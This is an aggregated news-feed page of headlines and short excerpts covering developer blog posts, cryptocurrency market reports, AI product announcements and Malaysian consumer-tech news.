    Introduction We're thrilled to announce the official release of @ethercorps/sveltekit-og@v4! This major version represents a complete architectural overhaul focused on delivering uncompromising stability, simplifying the developer API, and providing the tools needed for robust, high-performance image generation across all Javascript runtimes. This release introduces powerful new features that eliminate manual steps and complex workarounds. I learnt a lot while fixing @ethercorps/sveltekit-og like wasm issue, runtime issues and developer experience with typescript. Docs Source Examples With v4, we focused on fixing issues related to runtime and fonts. We are happy with the results and I hope it makes you happy too. The core architecture was rebuilt to ensure cross-runtime reliability, res…  ( 9 min )
    Unlocking Soccer Secrets: AI-Powered Play Analysis from Broadcast Footage by Arvind Sundararajan
    Unlocking Soccer Secrets: AI-Powered Play Analysis from Broadcast Footage \Imagine trying to decipher the complex strategies of a soccer match just by watching the broadcast. It's like trying to understand a symphony by only hearing individual instruments – you miss the overall harmony. Current AI struggles to reliably extract play-by-play data from video, hindering deeper tactical insights. But what if AI could understand the 'why' behind every pass, every tackle, every run? The key lies in combining computer vision with tactical understanding. Imagine a system that not only recognizes player actions but also interprets them within the context of the game's strategic flow. This new approach uses 'tactical priors' – knowledge of common formations, player roles, and strategic patterns – t…  ( 7 min )
    When Heaven Comes at Midnight: A Deep Journey Through John Chapter 3
    Some chapters of Scripture open like a door you walk through. It is quiet. The crowds have gone home. His name is Nicodemus — a Pharisee, a ruler of the Jews, a scholar, an expert, a man respected for his discipline and admired for his mastery of the Law. He knows the Torah. He keeps the traditions. He guards the boundaries. He understands the system, because he is the system. And yet, something inside him is unsettled. Something in him has begun to ache. Something in him has heard the footsteps of God moving through the streets of Judea, and he cannot go to sleep until he understands the voice behind the miracles. So he chooses the one hour no one is watching. He goes at night. Not because he is weak. And there, under the cloak of darkness, Nicodemus meets the Light of the world. The enco…  ( 19 min )
    Speed up your Laravel development using CRUD Templates
    Hi Laravel developers! I've recently created a new package designed to radically speed up your Laravel application development by generating routes, controllers, models, migrations, factories, requests, resources, and tests - all using a single command. Let's generate a complete CRUD API for the Post model: php artisan crud:generate Content/Post \ --template=api \ --fields="title:string,content:text,published_at:datetime,category:belongsTo,comments:hasMany,status:enum:PublishStatus" \ --options="scope:user" The above command generates the following fully functional files: app/Http/Controllers/Api/Content/PostController.php app/Models/Content/Post.php app/Policies/PostPolicy.php app/Http/Requests/Content/StorePostRequest.php app/Http/Requests/Content/UpdatePostRequest.php app/Http/Resources/Content/PostResource.php database/migrations/{timestamp}_create_posts_table.php database/migrations/{timestamp}_create_{pivot}_tables.php (if belongsToMany or morphToMany relationships are present) database/factories/Content/PostFactory.php tests/Feature/Api/Content/PostControllerTest.php API routes automatically added to routes/api.php (will run install:api if the file doesn't exist yet) Laravel Pint run on all generated files 🔗 Package: jcsoriano/laravel-crud-templates Documentation: laravelcrudtemplates.com GitHub: github.com/jcsoriano/laravel-crud-templates  ( 6 min )
    dev diary 20251123
    organizing app UI i organized the UI of application and then built menu button and slide bar to show user name, existing table and sign out all in one. i have to make policy of UI. button click, input text, font, color, and so on. if there is already some general policy in this field, i'll check it. i built almost the all coding with ai, so don't understand detail, i have to read and comprehend them. in order to make countermeasure at trouble shooting, or expand some function on them. i regard this front and backend code as basement and i wanna develop new application on it. this has basic CRUD function, list page and detail edit page, sidebar for menu.  ( 6 min )
  • Open

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    Filecoin Rises 2% After Breaking $1.63 Resistance
    FIL broke out on heavy volume as technical momentum accelerated past critical threshold levels.
    Crypto Wallet Firm Exodus Buys Baanx and Monavate for $175M
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    TON Rallies 8% as Telegram Ecosystem Expands With AI Launch, Tokenized Stocks
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    CME Crypto Futures Volume Hits Record 795K Contracts Amid Volatility
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    BNB Rebounds Above $860 After Testing Key Support
    The recovery lifted BNB above multiple resistance zones, but the relatively low volume behind the move may limit follow-through as traders watch the $870 level.  ( 34 min )
    Celestia’s TIA Token Rises as ‘Matcha’ Upgrade Preps Network for Cross-Chain Future
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    Stellar Climbs 3.5% to $0.25 as Technical Recovery Gains Momentum
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    HBAR Gains 2.4% From Major Support as Axelar Integration Drives DeFi Activity
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    Franklin Templeton Joins XRP ETF Race, Calling It ‘Foundational’ to Global Finance
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    Crypto Market Mood Lifted as Amazon Pours $50B Into AI Infrastructure
    The price of bitcoin jumped back above $87,000 and crypto miners with a focus on AI/high-performance computing are surging.  ( 33 min )
    Rumble Gains 13% After Tether Boosts Stake by 1M Shares
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    Monad’s MON Token Stumbles Out of the Gate in Trading Debut After Slow Token Sale
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    What Next for DOGE Price as Grayscale's GDOG ETF Debuts?
    The $0.1495 resistance level remains a significant barrier, while $0.144 serves as the last short-term support.  ( 36 min )
    Bitcoin’s $1T Rout Exposes Fragile Market Structure, Deutsche Bank Says
    The bitcoin price drop to $80,000 last week reflected a mix of macro pressure, fading regulatory momentum and thinning liquidity that has tested bitcoin’s maturity.  ( 34 min )
    XRP Slides to $2.08 as Grayscale’s GXRP ETF Debut Fails to Ignite Market
    Traders should watch for potential breakdowns below $2.03, which could lead to further declines toward $1.91.  ( 36 min )
    BitMine Immersion Added Nearly 70K Ether Last Week, Now Holding 3% of ETH Supply
    Tom Lee's company increased its crypto holdings last week despite sitting on around $4 billion in unrealized losses on its ETH bet.  ( 33 min )
    CoinDesk 20 Performance Update: Hedera (HBAR) Gains 11.3%, Leading the Index Higher
    Cronos (CRO) was also a top performer, rising 9.7% over the weekend.  ( 30 min )
    Monad Blockchain Goes Live With 100B Token Supply and Airdrop
    The total supply of MON is 100 billion tokens, with 10.8% currently unlocked and in circulation.  ( 33 min )
    Citigroup Warns of Bitcoin Halving-Season Chill as Prices Sink, ETF Outflows Grow
    Crypto is stuck in a second-year post-halving slump, with ETF outflows and jittery long-term holders pushing bitcoin toward the bank’s bear-case outlook.  ( 34 min )
    Investors Should Buy the Dip in Coinbase and Circle, Says William Blair
    The latest crypto slide has created an attractive entry point for the two companies' stocks, with core USDC and bitcoin theses still intact.  ( 34 min )
    Strategy Apparently Paused Bitcoin Accumulation Last Week
    The company's stock valuation sits near cycle lows as index exclusion chatter grows.  ( 33 min )
    Bitcoin Miners Cipher and CleanSpark Upgraded by JPMorgan as HPC Shift Accelerates
    The bank sees new upside for bitcoin miners as HPC partnerships reshape the sector.  ( 34 min )
    Upbit Seeking Nasdaq IPO Following Merger With Naver: Bloomberg
    The deal between Upbit and Naver was reported in September, with suggestions that the former's parent Dunamu would be brought under Naver's financial arm.  ( 32 min )
    Microcap Biotech Firm Raises $212M for Prediction Market Token Treasury Strategy
    Enlivex Therapeutics is raising $212 million to invest in RAIN, the token of a blockchain-based prediction market, which will become its main treasury reserve asset.  ( 34 min )
    Where Next?: Crypto Daybook Americas
    Your day-ahead look for Nov. 24, 2025  ( 39 min )
    Revolut Hits $75B Valuation in Fundraise Backed by Coatue, NVIDIA, Fidelity
    Revolut is growing its crypto offerings, including a recent partnership with Polygon Labs and a MiCA license to offer crypto services across Europe.  ( 34 min )
    Crypto Markets Today: Fear Dominates as Altcoins Lag, Bitcoin Tests Key Levels
    Bitcoin’s struggle to reclaim the $90,000 range leaves the broader crypto market vulnerable, with altcoins suffering sharp liquidity-driven underperformance.  ( 36 min )
    Bitcoin Longs on Bitfinex Jump 40% in Three Months as Traders Double Down on Dip
    Rising margin bitcoin longs show confidence despite bitcoins ongoing correction.  ( 33 min )
    ECB Doubles Down on Warning That Stablecoins Could Pose Global Financial Risks
    The EU’s central bank says stablecoins draw value from eurozone banks and could pose a risk to global financial stability.  ( 34 min )
    China Returns as Third Largest Bitcoin Mining Hub With a 14% Share: Reuters
    Underground activity expands as cheap power, miner demand and softer policy signals support a renewed mining push in key provinces in China.  ( 35 min )
    Animoca Brands Wins Initial Abu Dhabi Approval to Operate Regulated Fund
    Animoca Brands received in-principle approval from Abu Dhabi’s FSRA to operate as a regulated fund manager within ADGM.  ( 33 min )
    Grayscale Dogecoin, XRP Trusts Go Live, Cleanspark Earnings: Crypto Week Ahead
    Your look at what's coming in the week starting Nov. 24.  ( 36 min )
    Thai Crypto Exchange Bitkub Weighs Hong Kong IPO: Report
    Thailand-based Bitkub is considering an IPO in Hong Kong to raise approximately $200 million.  ( 33 min )
    $80K Bitcoin Put Now Most Popular Bet
    The $80K BTC put is now the most popular options play on Deribit.  ( 33 min )
    DOGE Beats the Blue Chips as D.O.G.E Calls it Quits
    DOGE – the memecoin – edged past the CoinDesk 20 and the CoinDesk memecoin index as the White House announced Elon Musk's government efficiency initiative is to shutter.  ( 33 min )
    Bitcoin ETFs, Led By BlackRock's IBIT, See Record $40B Trading Volume as Institutions Capitulate
    The U.S.-listed spot bitcoin ETFs saw a record $40 billion in trading volume last week, with IBIT leading the way.  ( 34 min )
  • Open

    Anthropic’s Claude Opus 4.5 is here: Cheaper AI, infinite chats, and coding skills that beat humans
    Anthropic released its most capable artificial intelligence model yet on Monday, slashing prices by roughly two-thirds while claiming state-of-the-art performance on software engineering tasks — a strategic move that intensifies the AI startup's competition with deep-pocketed rivals OpenAI and Google. The new model, Claude Opus 4.5, scored higher on Anthropic's most challenging internal engineering assessment than any human job candidate in the company's history, according to materials reviewed by VentureBeat. The result underscores both the rapidly advancing capabilities of AI systems and growing questions about how the technology will reshape white-collar professions. The Amazon-backed company is pricing Claude Opus 4.5 at $5 per million input tokens and $25 per million output tokens — a…
    How to avoid becoming an “AI-first” company with zero real AI usage
    Remember the first time you heard your company was going AI-first? Maybe it came through an all-hands that felt different from the others. The CEO said, “By Q3, every team should have integrated AI into their core workflows,” and the energy in the room (or on the Zoom) shifted. You saw a mix of excitement and anxiety ripple through the crowd. Maybe you were one of the curious ones. Maybe you’d already built a Python script that summarized customer feedback, saving your team three hours every week. Or maybe you’d stayed late one night just to see what would happen if you combined a dataset with a large language model (LLM) prompt. Maybe you’re one of those who’d already let curiosity lead you somewhere unexpected. But this announcement felt different because suddenly, what had been a quiet …
    Microsoft’s Fara-7B is a computer-use AI agent that rivals GPT-4o and works directly on your PC
    Microsoft has introduced Fara-7B, a new 7-billion parameter model designed to act as a Computer Use Agent (CUA) capable of performing complex tasks directly on a user’s device. Fara-7B sets new state-of-the-art results for its size, providing a way to build AI agents that don’t rely on massive, cloud-dependent models and can run on compact systems with lower latency and enhanced privacy. While the model is an experimental release, its architecture addresses a primary barrier to enterprise adoption: data security. Because Fara-7B is small enough to run locally, it allows users to automate sensitive workflows, such as managing internal accounts or processing sensitive company data, without that information ever leaving the device.  How Fara-7B sees the web Fara-7B is designed to navigate use…
  • Open

    How to Simplify Your React Components with Derived State
    React simplifies building user interfaces with hooks like useState for managing dynamic values. But it's common to overuse useState. This often leads to duplicated data and unnecessary complexity. For instance, you might store a full name in state wh...  ( 15 min )
  • Open

    The State of AI: Chatbot companions and the future of our privacy
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution reshaping global power. In this week’s conversation MIT Technology Review’s senior reporter for features and investigations, Eileen Guo, and FT tech correspondent Melissa…  ( 27 min )
    What’s next for AlphaFold: A conversation with a Google DeepMind Nobel laureate
    In 2017, fresh off a PhD on theoretical chemistry, John Jumper heard rumors that Google DeepMind had moved on from building AI that played games with superhuman skill and was starting up a secret project to predict the structures of proteins. He applied for a job. Just three years later, Jumper celebrated a stunning win…  ( 31 min )
    The Download: how to fix a tractor, and living among conspiracy theorists
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Meet the man building a starter kit for civilization You live in a house you designed and built yourself. You rely on the sun for power, heat your home with a woodstove, and…  ( 21 min )
  • Open

    Quicknode Launches Support for Monad Mainnet
    Quicknode now supports Monad Mainnet, giving developers fast, reliable RPC access powered by parallel execution, high throughput, and enterprise-grade performance.  ( 5 min )
  • Open

    realme Buds Clip Goes Official For RM399
    Today, realme unveiled the GT 8 Pro as its newest flagship phone. Alongside the handset, the brand launched the realme Buds Clip, a pair of open-ear earbuds. As the company puts it, the lightweight buds feature an “innovative ear clip design” weighing 5.3g. The new audio accessory serves as realme’s first set of open-ear earbuds […] The post realme Buds Clip Goes Official For RM399 appeared first on Lowyat.NET.  ( 34 min )
    realme GT 8 Pro Hands On: Camera Chameleon
    The newly launched realme GT 8 Pro doesn’t waste time showing its intentions. It’s here to be the brand’s heavy-hitting flagship for the year, and it is stepping straight into the ring with the wave of Snapdragon 8 Elite Gen 5 devices landing before 2026. Of course, Qualcomm’s high-end chipset isn’t the phone’s only armament. […] The post realme GT 8 Pro Hands On: Camera Chameleon appeared first on Lowyat.NET.  ( 37 min )
    Honda Malaysia Teases Possible Debut Of 2026 Prelude
    Honda Malaysia may have teased the 2026 Prelude in a recent social media video, showing a quick glimpse of the rear and hinting at a possible local debut. Previously, the sports coupe was only displayed at KLIMs 2024. Back in September, the Honda Prelude was launched in Japan, where it is offered in two variants, […] The post Honda Malaysia Teases Possible Debut Of 2026 Prelude appeared first on Lowyat.NET.  ( 35 min )
    Ryt Bank Retains 4% p.a. Interest Rate; Introduces Rewards For December
    Back in August, YTL launched Ryt Bank as the nation’s first AI-powered digital bank. Among the perks introduced at launch include an interest rate of up to 4% per annum, which the bank has now decided to retain. Aside from that, the bank is offering new rewards and perks for its customers. Starting 1 December […] The post Ryt Bank Retains 4% p.a. Interest Rate; Introduces Rewards For December appeared first on Lowyat.NET.  ( 34 min )
    realme GT 8 Pro Launches In Malaysia; Starts From RM4,299
    realme has officially launched its GT 8 Pro flagship smartphone series in Malaysia, making it the latest addition to the growing list of Snapdragon 8 Elite Gen 5 devices available locally. Unlike the series’ initial debut in China back in October, it looks like we won’t be getting the non-Pro model here. Fortunately, given that […] The post realme GT 8 Pro Launches In Malaysia; Starts From RM4,299 appeared first on Lowyat.NET.  ( 36 min )
    Grab Rolls Out New Book Table Feature For Dining Out
    Grab Malaysia is rolling out a new Book Table feature, tailored for customers who want to Dine Out. In short, the app now allows you to make a reservation at participating restaurants via the Grab app. The function of Book Table is pretty much self-explanatory. You open the app, tap on the Dine Out option, […] The post Grab Rolls Out New Book Table Feature For Dining Out appeared first on Lowyat.NET.  ( 33 min )
    BYD Unveils Yangwang U9 Extreme; A 3,000hp Electric Hypercar
    BYD has officially previewed the Yangwang U9 Extreme at the ongoing 2025 Auto Guangzhou revealing that the electric hypercar is limited to just 30 units. The U9 Extreme has already made headlines by shattering records at the Automotive Testing Papenburg site and at the iconic Nürburgring track, reaching a top speed of 496.22 km/h. As […] The post BYD Unveils Yangwang U9 Extreme; A 3,000hp Electric Hypercar appeared first on Lowyat.NET.  ( 35 min )
    ASUS ROG Matrix GeForce RTX 5090 Landing This December In Malaysia
    The ASUS ROG Matrix GeForce RTX 5090 will be making its way to our shores this December. Announced back in August of this year, the card is the brand’s second souped-up version of NVIDIA’s flagship Blackwell GPU. Running through its specs quickly, the ROG Matrix RTX 5090 features 32GB GDDR7 graphics memory, along with a […] The post ASUS ROG Matrix GeForce RTX 5090 Landing This December In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    TNG Digital Extends Visa Travel Card Cashback Campaign To 31 December 2026
    Touch ‘n Go (TnG) eWallet operator TNG Digital has announced that it is extending the cashback campaign for the platform’s Visa Travel Card. Initially set to end by late 2025, the promotion will now end on 31 December 2026 – giving users another whole year to enjoy the benefits provided. Speaking of which, as revealed […] The post TNG Digital Extends Visa Travel Card Cashback Campaign To 31 December 2026 appeared first on Lowyat.NET.  ( 34 min )
    Jeep Unveils The Recon; First Fully Electric Trail-Rated SUV
    The off-roading marque Jeep has unveiled the fully electric Recon, which the brand claims is its only “Trail Rated” EV SUV. The model will be offered in two variants: the standard trim and Moab trim. Design-wise, the electric Recon features an illuminated seven-slot grille upfront, complemented by U-shaped daytime running lights and a full suite […] The post Jeep Unveils The Recon; First Fully Electric Trail-Rated SUV appeared first on Lowyat.NET.  ( 36 min )
    A Chinese Intern Quit Their Job Over An NVIDIA RTX 5060 They Won During A Business Trip
    A company in Shanghai, China recently came under fire over an ownership dispute between it and one of its interns – the latter won an NVIDIA GeForce RTX 5060 in a raffle event, which the former claims belongs to them, stating that the incident occurred on its dime. Here’s what happened: On 14 November, the […] The post A Chinese Intern Quit Their Job Over An NVIDIA RTX 5060 They Won During A Business Trip appeared first on Lowyat.NET.  ( 35 min )
    Warframe Android Closed Beta To Start 28 November
    Earlier this year, Digital Extremes announced that it will begin the Android Closed Beta for Warframe. At the time, there had been no confirmed date for the beta, with the developer only mentioning that it is coming this fall. Now, the company has announced that the Warframe Android Closed Beta will begin this week, on […] The post Warframe Android Closed Beta To Start 28 November appeared first on Lowyat.NET.  ( 34 min )
    US Government Floats Possibility Of Selling NVIDIA H200 AI Chips To China
    The US’ Trump administration is reportedly considering the possibility of allowing NVIDIA to sell its H200 AI chips to China. Supposedly, the consideration is being mulled over as a part of a bilateral detente to boost prospects for exports of advanced US technology to the Asian powerhouse. “The administration is committed to securing America’s global […] The post US Government Floats Possibility Of Selling NVIDIA H200 AI Chips To China appeared first on Lowyat.NET.  ( 34 min )
    Qualcomm Confirms Snapdragon Devices Will Support Quick Share-To-AirDrop
    Qualcomm has confirmed that Android’s upcoming Quick Share compatibility with Apple’s AirDrop won’t be limited to Google’s Pixel 10 phones. In a post on X, the chipmaker said it “can’t wait for people to use this once enabled on Snapdragon in the near future,” effectively signalling that a wide range of Snapdragon-powered devices will eventually […] The post Qualcomm Confirms Snapdragon Devices Will Support Quick Share-To-AirDrop appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Mocked data for learning
    Introduction When a developer is learning a new method or technique, data is generally required to populate a development instance of a database; this article explains how. For all samples, a NuGet package Bogus was used to generate data. Each time a sample project runs, the data remains the same, although there is an option to randomize it. Rather than creating fictitious data in a project, instead, create a class project that contains classes to generate data into models that also exist in the class project. There are several options for using the class project. Create a test project in the same Visual Studio solution, copy the class project to another Visual Studio solution, or create a local NuGet package that can then be used no differently than any other NuGet package. In general,…  ( 11 min )
    The Regression Coefficient Was Positive… Until I Added One Variable and It Flipped Negative
    Why a Regression Coefficient Can Turn Negative When the Bivariate Relationship Is Clearly Positive One plot that instantly breaks every intuition you had about regression coefficients. Take a good look at that green line sloping down. That single line is the clearest proof you’ll ever see that regression coefficients can lie — beautifully — when multicollinearity is severe. One of the deepest and most frequently misunderstood concepts in multiple linear regression: The regression coefficient is not the simple bivariate slope. partial effect of that variable while holding all other predictors constant. When severe multicollinearity exists, "holding all other predictors constant" becomes a counterfactual — often physically impossible — scenario. In such cases, the sign of the coefficient …  ( 8 min )
    AI is the biggest bubble in human history
    AI is the biggest bubble in human history… and that is the BEST news you will read in 2025. The Artificial Intelligence (AI) revolution, especially since 2022 with models like ChatGPT, is frequently compared to major technological disruptions throughout history. It is widely seen as a General Purpose Technology (GPT), similar to electricity, the internal combustion engine, and mechanization. These technologies do not just change one sector; they restructure entire economies and societies. The crucial difference, however, is the speed of adoption: mechanization took generations, electricity took 40 to 50 years to become ubiquitous, but ChatGPT reached 100 million users in just two months. This insane speed and astronomical valuations raise the debate: is this the next dot-com b…  ( 9 min )
    Nix for Fun and Profit: Programs as Lego's
    Programs as Lego's Nix was made to solve the software deployment problem, concisely defined by creator Eelco Dolstra thus: [The software deployment problem] is about getting computer programs from one machine to another—and having The Purely Functional Software Deployment Model, Eelco Dolstra Nix allows you to setup software on your computer in such a way that your setup is reproducible, meaning your setup on machine A can be exactly the same as your setup on machine B -- as long as you have Nix. To most people, learning Nix is a pain, due to the new concepts, sparse and outdated documentation, and community . But I think Nix can make using computers fun and powerful and less painful, once you learn how to handle its' edges. One fun way we can use Nix is to stitch together programs like …  ( 9 min )
    AI Camouflage: Clothing That Breaks the Algorithm
    AI Camouflage: Clothing That Breaks the Algorithm Imagine a world where your clothes could make you invisible to AI surveillance. Sound like science fiction? It's closer to reality than you might think. Current AI-powered human detection systems, while incredibly powerful, have a surprising weakness: patterns. Specifically, cleverly designed patterns printed on clothing. The core concept involves optimizing the visual texture of garments to systematically confuse these detection algorithms. Instead of focusing on hiding specific features, the approach focuses on creating patterns that actively mislead the AI. Think of it like a visual denial-of-service attack, overloading the system with conflicting information that prevents accurate human recognition. This isn't just about static images…  ( 7 min )
    Headless CMS: Directus and Payload Walk Into a Bar 🍵
    If you're building a serious application with Next.js, you know the backend choice isn't just about editing content—it’s about workflow, performance, and infrastructure complexity. Both Directus and Payload are fantastic Node.js options, but they represent two fundamentally different philosophies. The big question you have to answer: Do you want your CMS to be a standalone, separate API, or an embedded part of your Next.js application? Let's dive into the core differences that impact your team and your hosting bill. This is the single most crucial factor for a developer. Directus is built to be a robust, full-featured Backend-as-a-Service (BaaS) application. It’s the kind of tool that runs constantly, manages user permissions, file storage, and provides endpoints. How it works: Directus ru…  ( 8 min )
    [Boost]
    AI in Legacy Code Modernization Nolan Lwin ・ Nov 23 #ai #opensource #coding #agents  ( 5 min )
    AI in Legacy Code Modernization
    Introduction Hi, my name is Nolan, and I’m the creator of L2M (Legacy2Modern). A few months ago, while searching for a meaningful direction for my thesis research, I stumbled upon a challenge that quietly burdens many companies: legacy codebases. These systems, often decades old, are messy, poorly maintained, and rarely documented. Yet they continue to power critical parts of our world. As I dug deeper, I became curious: Is anyone using AI to meaningfully tackle the legacy code problem? To my surprise, the space felt wide open. That’s when I decided to commit to this topic and build L2M. Why Legacy Code Still Matters Throughout human history, translation has played a crucial role in bridging cultures and enabling communication. With hundreds of languages, we rely on translation to preserve…  ( 7 min )
    OSD600: Release 0.3
    Repo Link: https://github.com/RiverDave/rrcm/tree/main I haven't been too enthusiastic about the development of this project in the last few weeks. The main reason is that most of what we did was mainly based on learning and implementing fairly small details on our projects (like testing, CI's and stuff). I think something else to consider is that this was already a pre-defined project that we had to develop, so it wasn't something I was extremely passionate about from the beginning (Although I think most of these points are valid from an academic perspective — It would be hard to evaluate a whole group with different projects and different ideas, It is also aimed towards people just getting started in OSS). I felt engaged throughout those first sessions, given that the dopamine hits I was…  ( 8 min )
    The Hidden Cost of Abstraction - Making an Informed Decision
    Abstraction promises convenience, but it often comes with hidden costs that only reveal themselves as time goes on. Remember when you could download music to your phone and truly own it? You could buy CDs or DVDs, and they were yours, that means no subscriptions, no monthly fees. You had to deal with some issues though. You had to manage storage, worry about physical media (disc) breaking, and manually organise everything into folders jazz, afro etc. Today, the likes of Spotify, Youtube, Apple Music, and Netflix abstract all those concerns away. In exchange, you pay a subscription fee or pay with your attention by watching ads. This same pattern plays out in software development. LangChain helps developers build LLM-based applications by abstracting away the manual orchestration of pipelin…  ( 7 min )
    Knowledge Graphs + LLM Integration: Query Your Ontology with Natural Language
    Modern knowledge-driven applications rely on powerful ontologies, expressive OWL models, and fast semantic querying to deliver accurate, trustworthy insights. Protégé has long been the de-facto environment for building and managing ontologies — but today’s AI workflows demand much more than manual editing. They need LLM-powered intelligence, SPARQL-based querying, and seamless integration between knowledge graphs and generative AI. In this article, I walk through how I built a next-generation Protégé plugin that combines SPARQL, OWL reasoning, and Large Language Models to deliver an intelligent, developer-friendly way to explore and query knowledge graphs directly inside Protégé. Whether you’re building enterprise ontologies, semantic search systems, or AI-enhanced knowledge applications, …  ( 9 min )
    The Story of Archi: an Archimate Tool; The Pedantic Defense: How 'Legal' Gatekeeping Violates the Spirit of Open Source
    The Pedantic Defense: How 'Legal' Gatekeeping Violates the Spirit of Open Source A response to a common, yet misguided, justification for walled gardens in open-source projects. Recently, I raised concerns about the open-source project, Archi, and its scripting plugin, jArchi. Both use the permissive MIT license, yet their maintainers engage in practices like geoblocking, paywalling support, and banning users—not only for VPN use but even for attempting to access download links from multiple IP addresses. The core defense offered by a project member or loyalist was a pedantic one, posted on Reddit. The ensuing discussion led to the complete removal of my post by moderators. "Neither their website, nor plugins or the support forum are covered by a software license. Moreover, they are not …  ( 8 min )
    I Built Offday.app — A Small Tool That Helps You Plan Longer Holidays with Fewer Leave Days
    I’ve been experimenting with side projects for years, usually to solve small personal problems. Offday.app started exactly like that: a tiny tool I needed for myself, but it gradually turned into something people from many countries began using. So I thought it might be worth sharing here. Every year, I try to maximize my holidays by combining annual leave with public holidays. Doing this manually is tedious: checking calendars, calculating date ranges, and tryinga to see which combinations create the longest break. The idea behind Offday.app is straightforward: Select your country → the app analyzes that year’s public holidays → it suggests date ranges where a few leave days turn into surprisingly long holidays. It’s simple, but it saves a lot of time and catches opportunities you probably wouldn’t notice. I initially built it only for Turkey. After refining the holiday logic, I made it work for every country. Since then, users from more than 50 countries have generated hundreds of holiday plans, even though I barely promoted it. Since this is dev.to, here’s what’s under the hood: Frontend: Vue 3, Vite, Tailwind Backend: Laravel Infrastructure: AWS (CloudFront, S3, EC2) Logic: holiday parsing, date-range scoring, caching, multi-locale output The date engine doesn’t brute-force all combinations. Instead, it focuses on identifying “peak opportunity windows” around existing public holidays. I enjoy seeing other developers’ weekend projects here, so I wanted to contribute mine. Offday.app is simple, but it genuinely solves a small, real problem. If it helps someone squeeze a few extra days into their next holiday, that’s more than enough motivation for me. You can try it here: https://offday.app I’m currently working on improvements such as: plan sharing without accounts exportable holiday cards more detailed country-specific rules better UX for country selection and date review If you have suggestions or feedback, I’d be happy to hear them.  ( 7 min )
    Building a Spring Boot Application with Spring Cloud Stream for Kafka Stream Processing
    1. Download Kafka Download the version 2.13-2.7.0 of Kafka (https://kafka.apache.org/downloads) To start Kafka we should first execute Zookeeper (It handles kafka instances in our application). we add start command to open the output terminal in an new prompt, bin\windows\zookeeper-server.start.bat is the script file to run zookeeper based on configuration file config/zookeeper.properties, if you have Linux operating system, the zookeeper script is in bin\zookeeper-server.start.sh. So we have now zookeeper running on port 2181. By the same way we start Kafka. Sometimes Kafka won't be running because wmic (Windows Management Instrumentation Command-line) is missing, it used to check JAVA_HOME and java version, to fix that open kafka-start-server.bat file in your editor and replace t…  ( 10 min )
    Nuxt Tutorial 6 - Vue.js Intermezzo
    In this inserted article, we take a closer look at selected fundamental concepts of the Vue.js framework that Nuxt builds upon. I believe it is not a good idea to use any tool without at least a rough understanding of how it works under the hood. Before we continue exploring more of Nuxt’s great features, we’ll go back to the roots without building anything specific here. But you will end up better prepared when you try it yourself later. To begin, note the best available source of Vue information - the official documentation. You will learn much more about everything mentioned in this article there, and you can always return to consult questions and issues. Now for the promised overview of the basics. First, we return to components, which we briefly described earlier, and go a bit deeper …  ( 18 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back down the yellow brick road, cracking open 1978’s The Wiz and tallying up all the “sins” you never noticed—especially now that Wicked’s back in theaters. In just about fifteen minutes, they poke fun at plot holes, quirky musical numbers, and everything in between to see if this Oz spin-off holds up—or if it’s more of a wicked disappointment. Along the way, they plug their site and social channels (YouTube, TikTok, Instagram, Discord, Reddit), invite you to fill out their “sinful” viewer poll, and drop links to their linktree and Patreon. Shout-outs go to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel—plus Jeremy’s new book. If you love nitpicking movies as much as they do, you know where to join the fun. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a YouTube video by CinemaSins that playfully rips into the film “KPop Demon Hunters.” The description is mostly a link roundup—directing viewers to CinemaSins’ website, various YouTube channels, social media profiles, a fan poll, their Patreon, and a list of the writers and contributors behind the video. Watch on YouTube  ( 6 min )
    Como foi palestrar na Clojure South 2025
    O que é a Clojure South? Segundo site oficial: "Organizada pelo Nubank, a Clojure South faz parte da programação oficial da comunidade de Clojure, conectando pessoas desenvolvedoras, entusiastas e empresas para compartilhar experiências reais, discutir tendências e fortalecer a rede global da linguagem." Em uma conversa com uma brasileira que conheci na Lambda Days 2025 (falei sobre como foi participar deste evento neste artigo), perguntei se ela iria assistir às palestras (ela trabalha para a Nubank) e descobri que ela iria ser instrutora do workshop de Clojure! Nesta conversa ela sugeriu que eu deveria enviar uma proposta de palestra. Comentei uma ideia que eu tinha para submeter, mas que estava meio inseguro de enviar. Ela me encorajou a tentar e eu resolvi arriscar! Embora tenha no m…  ( 10 min )
    AI for Exploratory Data Analysis (EDA)
    What is EDA ? With the rise of Artificial Intelligence (AI) and Machine Learning (ML), new tools are automating and accelerating the EDA process, making it more efficient and accessible. AI-powered EDA tools leverage Natural Language Processing (NLP), AutoML (Automated Machine Learning), and deep learning to automate data cleaning, generate insights, and create visualizations with minimal coding. In this blog, I will explore how AI is transforming EDA and highlight tools like PandasAI and AutoML that automate data insights. PandasAI: Enhancing EDA with Generative AI PandasAI is an innovative Python library that integrates generative artificial intelligence capabilities into the widely-used Pandas library. This integration allows users to perform data analysis through natural language prom…  ( 8 min )
    ZetaShare | Building Truly private file transfer with WebRTC
    I built ZetaShare because I wanted a file transfer service that doesn’t spy on me — no tracking, no data collection. The project was inspired by ToffeeShare, but after seeing it abandoned and being unable to contact the developers, I decided to build my own alternative. In case you're curious about how the system works under the hood, here’s a simplified explanation of the current architecture: How ZetaShare works (simplified): The sender uploads a file on the website. The server doesn’t store the file — After uploading, the sender receives a 6‑digit ID. This ID becomes the identifier for the transfer session. The receiver opens the link with the ?id= parameter, for example: https://zetashare.com/?id=123456 When the receiver joins the link, the server sends the receiver’s SDP offer to the …  ( 7 min )
    2026 World Cup Preview: Key Takeaways & Trends to Watch
    The United States Men's National Team (USMNT) is reportedly lining up big-time friendlies for World Cup preparation, as per a recent report by Stars and Stripes FC. This development has sparked interest among football enthusiasts, who are eager to see how the team will fare against top-tier opponents. The USMNT's friendly schedule includes matches against powerhouses such as England, Spain, and Portugal. These fixtures will provide the team with valuable experience in high-pressure situations and against world-class opponents. A few key moments from these upcoming friendlies could shape the team's preparation for World Cup 2026: The match against England is expected to be a test of endurance, as both teams have shown strength and resilience on the pitch. Spain will provide the USMNT wi…  ( 7 min )
    SEO vs. GEO: Developer's Guide
